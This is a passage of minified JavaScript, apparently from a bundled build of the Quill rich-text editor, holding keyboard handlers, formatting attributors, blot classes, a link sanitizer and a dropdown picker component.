backspace":{key:b.keys.BACKSPACE,collapsed:!0,shiftKey:null,metaKey:null,ctrlKey:null,altKey:null,format:["indent","list"],offset:0,handler:function(e,t){null!=t.format.indent?this.quill.format("indent","-1",d.default.sources.USER):null!=t.format.list&&this.quill.format("list",!1,d.default.sources.USER)}},"indent code-block":O(!0),"outdent code-block":O(!1),"remove tab":{key:b.keys.TAB,shiftKey:!0,collapsed:!0,prefix:/\t$/,handler:function(e){this.quill.deleteText(e.index-1,1,d.default.sources.USER)}},tab:{key:b.keys.TAB,handler:function(e){this.quill.history.cutoff();var t=(new u.default).retain(e.index).delete(e.length).insert("\t");this.quill.updateContents(t,d.default.sources.USER),this.quill.history.cutoff(),this.quill.setSelection(e.index+1,d.default.sources.SILENT)}},"list empty enter":{key:b.keys.ENTER,collapsed:!0,format:["list"],empty:!0,handler:function(e,t){this.quill.format("list",!1,d.default.sources.USER),t.format.indent&&this.quill.format("indent",!1,d.default.sources.USER)}},"checklist enter":{key:b.keys.ENTER,collapsed:!0,format:{list:"checked"},handler:function(e){var t=this.quill.getLine(e.index),n=o(t,2),r=n[0],i=n[1],a=(0,s.default)({},r.formats(),{list:"checked"}),l=(new u.default).retain(e.index).insert("\n",a).retain(r.length()-i-1).retain(1,{list:"unchecked"});this.quill.updateContents(l,d.default.sources.USER),this.quill.setSelection(e.index+1,d.default.sources.SILENT),this.quill.scrollIntoView()}},"header enter":{key:b.keys.ENTER,collapsed:!0,format:["header"],suffix:/^$/,handler:function(e,t){var n=this.quill.getLine(e.index),r=o(n,2),i=r[0],a=r[1],l=(new u.default).retain(e.index).insert("\n",t.format).retain(i.length()-a-1).retain(1,{header:null});this.quill.updateContents(l,d.default.sources.USER),this.quill.setSelection(e.index+1,d.default.sources.SILENT),this.quill.scrollIntoView()}},"list autofill":{key:" ",collapsed:!0,format:{list:!1},prefix:/^\s*?(\d+\.|-|\*|\[ ?\]|\[x\])$/,handler:function(e,t){var n=t.prefix.length,r=this.quill.getLine(e.index),i=o(r,2),a=i[0],l=i[1];if(l>n)return!0;var s=void 0;switch(t.prefix.trim()){case"[]":case"[ ]":s="unchecked";break;case"[x]":s="checked";break;case"-":case"*":s="bullet";break;default:s="ordered"}this.quill.insertText(e.index," ",d.default.sources.USER),this.quill.history.cutoff();var c=(new u.default).retain(e.index-l).delete(n+1).retain(a.length()-2-l).retain(1,{list:s});this.quill.updateContents(c,d.default.sources.USER),this.quill.history.cutoff(),this.quill.setSelection(e.index-n,d.default.sources.SILENT)}},"code exit":{key:b.keys.ENTER,collapsed:!0,format:["code-block"],prefix:/\n\n$/,suffix:/^\s+$/,handler:function(e){var t=this.quill.getLine(e.index),n=o(t,2),r=n[0],i=n[1],a=(new u.default).retain(e.index+r.length()-i-2).retain(1,{"code-block":null}).delete(1);this.quill.updateContents(a,d.default.sources.USER)}},"embed left":w(b.keys.LEFT,!1),"embed left shift":w(b.keys.LEFT,!0),"embed right":w(b.keys.RIGHT,!1),"embed right shift":w(b.keys.RIGHT,!0)}},t.default=b,t.SHORTKEY=y},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=function(e,t){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return function(e,t){var n=[],r=!0,o=!1,i=void 0;try{for(var a,l=e[Symbol.iterator]();!(r=(a=l.next()).done)&&(n.push(a.value),!t||n.length!==t);r=!0);}catch(e){o=!0,i=e}finally{try{!r&&l.return&&l.return()}finally{if(o)throw i}}return n}(e,t);throw new TypeError("Invalid attempt to destructure non-iterable instance")},o=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0},i=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),a=s(n(0)),l=s(n(7));function s(e){return e&&e.__esModule?e:{default:e}}var u=function(e){function t(e,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var r=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return r.selection=n,r.textNode=document.createTextNode(t.CONTENTS),r.domNode.appendChild(r.textNode),r._length=0,r}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),i(t,null,[{key:"value",value:function(){}}]),i(t,[{key:"detach",value:function(){null!=this.parent&&this.parent.removeChild(this)}},{key:"format",value:function(e,n){if(0!==this._length)return o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"format",this).call(this,e,n);for(var r=this,i=0;null!=r&&r.statics.scope!==a.default.Scope.BLOCK_BLOT;)i+=r.offset(r.parent),r=r.parent;null!=r&&(this._length=t.CONTENTS.length,r.optimize(),r.formatAt(i,t.CONTENTS.length,e,n),this._length=0)}},{key:"index",value:function(e,n){return e===this.textNode?0:o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"index",this).call(this,e,n)}},{key:"length",value:function(){return this._length}},{key:"position",value:function(){return[this.textNode,this.textNode.data.length]}},{key:"remove",value:function(){o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"remove",this).call(this),this.parent=null}},{key:"restore",value:function(){if(!this.selection.composing&&null!=this.parent){var e=this.textNode,n=this.selection.getNativeRange(),o=void 0,i=void 0,s=void 0;if(null!=n&&n.start.node===e&&n.end.node===e){var u=[e,n.start.offset,n.end.offset];o=u[0],i=u[1],s=u[2]}for(;null!=this.domNode.lastChild&&this.domNode.lastChild!==this.textNode;)this.domNode.parentNode.insertBefore(this.domNode.lastChild,this.domNode);if(this.textNode.data!==t.CONTENTS){var c=this.textNode.data.split(t.CONTENTS).join("");this.next instanceof l.default?(o=this.next.domNode,this.next.insertAt(0,c),this.textNode.data=t.CONTENTS):(this.textNode.data=c,this.parent.insertBefore(a.default.create(this.textNode),this),this.textNode=document.createTextNode(t.CONTENTS),this.domNode.appendChild(this.textNode))}if(this.remove(),null!=i){var f=[i,s].map((function(e){return Math.max(0,Math.min(o.data.length,e-1))})),d=r(f,2);return i=d[0],s=d[1],{startNode:o,startOffset:i,endNode:o,endOffset:s}}}}},{key:"update",value:function(e,t){var n=this;if(e.some((function(e){return"characterData"===e.type&&e.target===n.textNode}))){var r=this.restore();r&&(t.range=r)}}},{key:"value",value:function(){return""}}]),t}(a.default.Embed);u.blotName="cursor",u.className="ql-cursor",u.tagName="span",u.CONTENTS="\ufeff",t.default=u},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=a(n(0)),o=n(4),i=a(o);function a(e){return e&&e.__esModule?e:{default:e}}function l(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function s(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var u=function(e){function t(){return l(this,t),s(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),t}(r.default.Container);u.allowedChildren=[i.default,o.BlockEmbed,u],t.default=u},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.ColorStyle=t.ColorClass=t.ColorAttributor=void 0;var r,o=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=n(0),a=(r=i)&&r.__esModule?r:{default:r};function l(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function s(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var u=function(e){function t(){return l(this,t),s(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),o(t,[{key:"value",value:function(e){var n=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0}(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"value",this).call(this,e);return n.startsWith("rgb(")?(n=n.replace(/^[^\d]+/,"").replace(/[^\d]+$/,""),"#"+n.split(",").map((function(e){return("00"+parseInt(e).toString(16)).slice(-2)})).join("")):n}}]),t}(a.default.Attributor.Style),c=new a.default.Attributor.Class("color","ql-color",{scope:a.default.Scope.INLINE}),f=new u("color","color",{scope:a.default.Scope.INLINE});t.ColorAttributor=u,t.ColorClass=c,t.ColorStyle=f},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.sanitize=t.default=void 0;var r,o=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0},a=n(6);function l(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function s(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var u=function(e){function t(){return l(this,t),s(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),o(t,[{key:"format",value:function(e,n){if(e!==this.statics.blotName||!n)return i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"format",this).call(this,e,n);n=this.constructor.sanitize(n),this.domNode.setAttribute("href",n)}}],[{key:"create",value:function(e){var n=i(t.__proto__||Object.getPrototypeOf(t),"create",this).call(this,e);return e=this.sanitize(e),n.setAttribute("href",e),n.setAttribute("rel","noopener noreferrer"),n.setAttribute("target","_blank"),n}},{key:"formats",value:function(e){return e.getAttribute("href")}},{key:"sanitize",value:function(e){return c(e,this.PROTOCOL_WHITELIST)?e:this.SANITIZED_URL}}]),t}(((r=a)&&r.__esModule?r:{default:r}).default);function c(e,t){var n=document.createElement("a");n.href=e;var r=n.href.slice(0,n.href.indexOf(":"));return t.indexOf(r)>-1}u.blotName="link",u.tagName="A",u.SANITIZED_URL="about:blank",u.PROTOCOL_WHITELIST=["http","https","mailto","tel"],t.default=u,t.sanitize=c},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},o=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=l(n(23)),a=l(n(107));function l(e){return e&&e.__esModule?e:{default:e}}var s=0;function u(e,t){e.setAttribute(t,!("true"===e.getAttribute(t)))}var c=function(){function e(t){var n=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.select=t,this.container=document.createElement("span"),this.buildPicker(),this.select.style.display="none",this.select.parentNode.insertBefore(this.container,this.select),this.label.addEventListener("mousedown",(function(){n.togglePicker()})),this.label.addEventListener("keydown",(function(e){switch(e.keyCode){case i.default.keys.ENTER:n.togglePicker();break;case i.default.keys.ESCAPE:n.escape(),e.preventDefault()}})),this.select.addEventListener("change",this.update.bind(this))}return o(e,[{key:"togglePicker",value:function(){this.container.classList.toggle("ql-expanded"),u(this.label,"aria-expanded"),u(this.options,"aria-hidden")}},{key:"buildItem",value:function(e){var t=this,n=document.createElement("span");return n.tabIndex="0",n.setAttribute("role","button"),n.classList.add("ql-picker-item"),e.hasAttribute("value")&&n.setAttribute("data-value",e.getAttribute("value")),e.textContent&&n.setAttribute("data-label",e.textContent),n.addEventListener("click",(function(){t.selectItem(n,!0)})),n.addEventListener("keydown",(function(e){switch(e.keyCode){case i.default.keys.ENTER:t.selectItem(n,!0),e.preventDefault();break;case i.default.keys.ESCAPE:t.escape(),e.preventDefault()}})),n}},{key:"buildLabel",value:function(){var e=document.createElement("span");return e.classList.add("ql-picker-label"),e.innerHTML=a.default,e.tabIndex="0",e.setAttribute("role","button"),e.setAttribute("aria-expanded","false"),this.container.appendChild(e),e}},{key:"buildOptions",value:function(){var e=this,t=document.createElement("span");t.classList.add("ql-picker-options"),t.setAttribute("aria-hidden","true"),t.tabIndex="-1",t.id="ql-picker-options-"+s,s+=1,this.label.setAttribute("aria-controls",t.id),this.options=t,[].slice.call(this.select.options).forEach((function(n){var r=e.buildItem(n);t.appendChild(r),!0===n.selected&&e.selectItem(r)})),this.container.appendChild(t)}},{key:"buildPicker",value:function(){var e=this;[].slice.call(this.select.attributes).forEach((function(t){e.container.setAttribute(t.name,t.value)})),this.container.classList.add("ql-picker"),this.label=this.buildLabel(),this.buildOptions()}},{key:"escape",value:function(){var e=this;this.close(),setTimeout((function(){return e.label.focus()}),1)}},{key:"close",value:function(){this.container.classList.remove("ql-expanded"),this.label.setAttribute("aria-expanded","false"),this.options.setAttribute("aria-hidden","true")}},{key:"selectItem",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=this.container.querySelector(".ql-selected");if(e!==n&&(null!=n&&n.classList.remove("ql-selected"),null!=e&&(e.classList.add("ql-selected"),this.select.selectedIndex=[].indexOf.call(e.parentNode.children,e),e.hasAttribute("data-value")?this.label.setAttribute("data-value",e.getAttribute("data-value")):this.label.removeAttribute("data-value"),e.hasAttribute("data-label")?this.label.setAttribute("data-label",e.getAttribute("data-label")):this.label.removeAttribute("data-label"),t))){if("function"==typeof Event)this.select.dispatchEvent(new Event("change"));else if("object"===("undefined"==typeof Event?"undefined":r(Event))){var o=document.createEvent("Event");o.initEvent("change",!0,!0),this.select.dispatchEvent(o)}this.close()}}},{key:"update",value:function(){var e=void 0;if(this.select.selectedIndex>-1){var t=this.container.querySelector(".ql-picker-options").children[this.select.selectedIndex];e=this.select.options[this.select.selectedIndex],this.selectItem(t)}else this.selectItem(null);var n=null!=e&&e!==this.select.querySelector("option[selected]");this.label.classList.toggle("ql-active",n)}}]),e}();t.default=c},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=v(n(0)),o=v(n(5)),i=n(4),a=v(i),l=v(n(16)),s=v(n(25)),u=v(n(24)),c=v(n(35)),f=v(n(6)),d=v(n(22)),p=v(n(7)),h=v(n(55)),m=v(n(42)),g=v(n(23));function v(e){return e&&e.__esModule?e:{default:e}}o.default.register({"blots/block":a.default,"blots/block/embed":i.BlockEmbed,"blots/break":l.default,"blots/container":s.default,"blots/cursor":u.default,"blots/embed":c.default,"blots/inline":f.default,"blots/scroll":d.default,"blots/text":p.default,"modules/clipboard":h.default,"modules/history":m.default,"modules/keyboard":g.default}),r.default.register(a.default,l.default,u.default,f.default,d.default,p.default),t.default=o.default},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=n(1),o=function(){function e(e){this.domNode=e,this.domNode[r.DATA_KEY]={blot:this}}return Object.defineProperty(e.prototype,"statics",{get:function(){return this.constructor},enumerable:!0,configurable:!0}),e.create=function(e){if(null==this.tagName)throw new r.ParchmentError("Blot definition missing tagName");var t;return Array.isArray(this.tagName)?("string"==typeof e&&(e=e.toUpperCase(),parseInt(e).toString()===e&&(e=parseInt(e))),t="number"==typeof e?document.createElement(this.tagName[e-1]):this.tagName.indexOf(e)>-1?document.createElement(e):document.createElement(this.tagName[0])):t=document.createElement(this.tagName),this.className&&t.classList.add(this.className),t},e.prototype.attach=function(){null!=this.parent&&(this.scroll=this.parent.scroll)},e.prototype.clone=function(){var e=this.domNode.cloneNode(!1);return r.create(e)},e.prototype.detach=function(){null!=this.parent&&this.parent.removeChild(this),delete this.domNode[r.DATA_KEY]},e.prototype.deleteAt=function(e,t){this.isolate(e,t).remove()},e.prototype.formatAt=function(e,t,n,o){var i=this.isolate(e,t);if(null!=r.query(n,r.Scope.BLOT)&&o)i.wrap(n,o);else if(null!=r.query(n,r.Scope.ATTRIBUTE)){var a=r.create(this.statics.scope);i.wrap(a),a.format(n,o)}},e.prototype.insertAt=function(e,t,n){var o=null==n?r.create("text",t):r.create(t,n),i=this.split(e);this.parent.insertBefore(o,i)},e.prototype.insertInto=function(e,t){void 0===t&&(t=null),null!=this.parent&&this.parent.children.remove(this);var n=null;e.children.insertBefore(this,t),null!=t&&(n=t.domNode),this.domNode.parentNode==e.domNode&&this.domNode.nextSibling==n||e.domNode.insertBefore(this.domNode,n),this.parent=e,this.attach()},e.prototype.isolate=function(e,t){var n=this.split(e);return n.split(t),n},e.prototype.length=function(){return 1},e.prototype.offset=function(e){return void 0===e&&(e=this.parent),null==this.parent||this==e?0:this.parent.children.offset(this)+this.parent.offset(e)},e.prototype.optimize=function(e){null!=this.domNode[r.DATA_KEY]&&delete this.domNode[r.DATA_KEY].mutations},e.prototype.remove=function(){null!=this.domNode.parentNode&&this.domNode.parentNode.removeChild(this.domNode),this.detach()},e.prototype.replace=function(e){null!=e.parent&&(e.parent.insertBefore(this,e.next),e.remove())},e.prototype.replaceWith=function(e,t){var n="string"==typeof e?r.create(e,t):e;return n.replace(this),n},e.prototype.split=function(e,t){return 0===e?this:this.next},e.prototype.update=function(e,t){},e.prototype.wrap=function(e,t){var n="string"==typeof e?r.create(e,t):e;return null!=this.parent&&this.parent.insertBefore(n,this.next),n.appendChild(this),n},e.blotName="abstract",e}();t.default=o},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=n(12),o=n(32),i=n(33),a=n(1),l=function(){function e(e){this.attributes={},this.domNode=e,this.build()}return e.prototype.attribute=function(e,t){t?e.add(this.domNode,t)&&(null!=e.value(this.domNode)?this.attributes[e.attrName]=e:delete this.attributes[e.attrName]):(e.remove(this.domNode),delete this.attributes[e.attrName])},e.prototype.build=function(){var e=this;this.attributes={};var t=r.default.keys(this.domNode),n=o.default.keys(this.domNode),l=i.default.keys(this.domNode);t.concat(n).concat(l).forEach((function(t){var n=a.query(t,a.Scope.ATTRIBUTE);n instanceof r.default&&(e.attributes[n.attrName]=n)}))},e.prototype.copy=function(e){var t=this;Object.keys(this.attributes).forEach((function(n){var r=t.attributes[n].value(t.domNode);e.format(n,r)}))},e.prototype.move=function(e){var t=this;this.copy(e),Object.keys(this.attributes).forEach((function(e){t.attributes[e].remove(t.domNode)})),this.attributes={}},e.prototype.values=function(){var e=this;return Object.keys(this.attributes).reduce((function(t,n){return t[n]=e.attributes[n].value(e.domNode),t}),{})},e}();t.default=l},function(e,t,n){"use strict";var r,o=this&&this.__extends||(r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},function(e,t){function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)});function i(e,t){return(e.getAttribute("class")||"").split(/\s+/).filter((function(e){return 0===e.indexOf(t+"-")}))}Object.defineProperty(t,"__esModule",{value:!0});var a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o(t,e),t.keys=function(e){return(e.getAttribute("class")||"").split(/\s+/).map((function(e){return e.split("-").slice(0,-1).join("-")}))},t.prototype.add=function(e,t){return!!this.canAdd(e,t)&&(this.remove(e),e.classList.add(this.keyName+"-"+t),!0)},t.prototype.remove=function(e){i(e,this.keyName).forEach((function(t){e.classList.remove(t)})),0===e.classList.length&&e.removeAttribute("class")},t.prototype.value=function(e){var t=(i(e,this.keyName)[0]||"").slice(this.keyName.length+1);return this.canAdd(e,t)?t:""},t}(n(12).default);t.default=a},function(e,t,n){"use strict";var r,o=this&&this.__extends||(r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},function(e,t){function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)});function i(e){var t=e.split("-"),n=t.slice(1).map((function(e){return e[0].toUpperCase()+e.slice(1)})).join("");return t[0]+n}Object.defineProperty(t,"__esModule",{value:!0});var a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o(t,e),t.keys=function(e){return(e.getAttribute("style")||"").split(";").map((function(e){return e.split(":")[0].trim()}))},t.prototype.add=function(e,t){return!!this.canAdd(e,t)&&(e.style[i(this.keyName)]=t,!0)},t.prototype.remove=function(e){e.style[i(this.keyName)]="",e.getAttribute("style")||e.removeAttribute("style")},t.prototype.value=function(e){var t=e.style[i(this.keyName)];return this.canAdd(e,t)?t:""},t}(n(12).default);t.default=a},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),o=function(){function e(t,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.quill=t,this.options=n,this.modules={}}return r(e,[{key:"init",value:function(){var e=this;Object.keys(this.options.modules).forEach((function(t){null==e.modules[t]&&e.addModule(t)}))}},{key:"addModule",value:function(e){var t=this.quill.constructor.import("modules/"+e);return this.modules[e]=new t(this.quill,this.options.modules[e]||{}),this.modules[e]}}]),e}();o.DEFAULTS={modules:{}},o.themes={default:o},t.default=o},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),o=a(n(0)),i=a(n(7));function a(e){return e&&e.__esModule?e:{default:e}}var l=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.contentNode=document.createElement("span"),n.contentNode.setAttribute("contenteditable",!1),[].slice.call(n.domNode.childNodes).forEach((function(e){n.contentNode.appendChild(e)})),n.leftGuard=document.createTextNode("\ufeff"),n.rightGuard=document.createTextNode("\ufeff"),n.domNode.appendChild(n.leftGuard),n.domNode.appendChild(n.contentNode),n.domNode.appendChild(n.rightGuard),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),r(t,[{key:"index",value:function(e,n){return e===this.leftGuard?0:e===this.rightGuard?1:function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0}(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"index",this).call(this,e,n)}},{key:"restore",value:function(e){var t=void 0,n=void 0,r=e.data.split("\ufeff").join("");if(e===this.leftGuard)if(this.prev instanceof i.default){var a=this.prev.length();this.prev.insertAt(a,r),t={startNode:this.prev.domNode,startOffset:a+r.length}}else n=document.createTextNode(r),this.parent.insertBefore(o.default.create(n),this),t={startNode:n,startOffset:r.length};else e===this.rightGuard&&(this.next instanceof i.default?(this.next.insertAt(0,r),t={startNode:this.next.domNode,startOffset:r.length}):(n=document.createTextNode(r),this.parent.insertBefore(o.default.create(n),this.next),t={startNode:n,startOffset:r.length}));return e.data="\ufeff",t}},{key:"update",value:function(e,t){var n=this;e.forEach((function(e){if("characterData"===e.type&&(e.target===n.leftGuard||e.target===n.rightGuard)){var r=n.restore(e.target);r&&(t.range=r)}}))}}]),t}(o.default.Embed);t.default=l},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.AlignStyle=t.AlignClass=t.AlignAttribute=void 0;var r,o=n(0),i=(r=o)&&r.__esModule?r:{default:r},a={scope:i.default.Scope.BLOCK,whitelist:["right","center","justify"]},l=new i.default.Attributor.Attribute("align","align",a),s=new i.default.Attributor.Class("align","ql-align",a),u=new i.default.Attributor.Style("align","text-align",a);t.AlignAttribute=l,t.AlignClass=s,t.AlignStyle=u},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.BackgroundStyle=t.BackgroundClass=void 0;var r,o=n(0),i=(r=o)&&r.__esModule?r:{default:r},a=n(26),l=new i.default.Attributor.Class("background","ql-bg",{scope:i.default.Scope.INLINE}),s=new a.ColorAttributor("background","background-color",{scope:i.default.Scope.INLINE});t.BackgroundClass=l,t.BackgroundStyle=s},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.DirectionStyle=t.DirectionClass=t.DirectionAttribute=void 0;var r,o=n(0),i=(r=o)&&r.__esModule?r:{default:r},a={scope:i.default.Scope.BLOCK,whitelist:["rtl"]},l=new i.default.Attributor.Attribute("direction","dir",a),s=new i.default.Attributor.Class("direction","ql-direction",a),u=new i.default.Attributor.Style("direction","direction",a);t.DirectionAttribute=l,t.DirectionClass=s,t.DirectionStyle=u},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.FontClass=t.FontStyle=void 0;var r,o=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=n(0),a=(r=i)&&r.__esModule?r:{default:r};function l(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function s(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var u={scope:a.default.Scope.INLINE,whitelist:["serif","monospace"]},c=new a.default.Attributor.Class("font","ql-font",u),f=new(function(e){function t(){return l(this,t),s(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),o(t,[{key:"value",value:function(e){return function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0}(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"value",this).call(this,e).replace(/["']/g,"")}}]),t}(a.default.Attributor.Style))("font","font-family",u);t.FontStyle=f,t.FontClass=c},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.SizeStyle=t.SizeClass=void 0;var r,o=n(0),i=(r=o)&&r.__esModule?r:{default:r},a=new i.default.Attributor.Class("size","ql-size",{scope:i.default.Scope.INLINE,whitelist:["small","large","huge"]}),l=new i.default.Attributor.Style("size","font-size",{scope:i.default.Scope.INLINE,whitelist:["10px","18px","32px"]});t.SizeClass=a,t.SizeStyle=l},function(e,t,n){"use 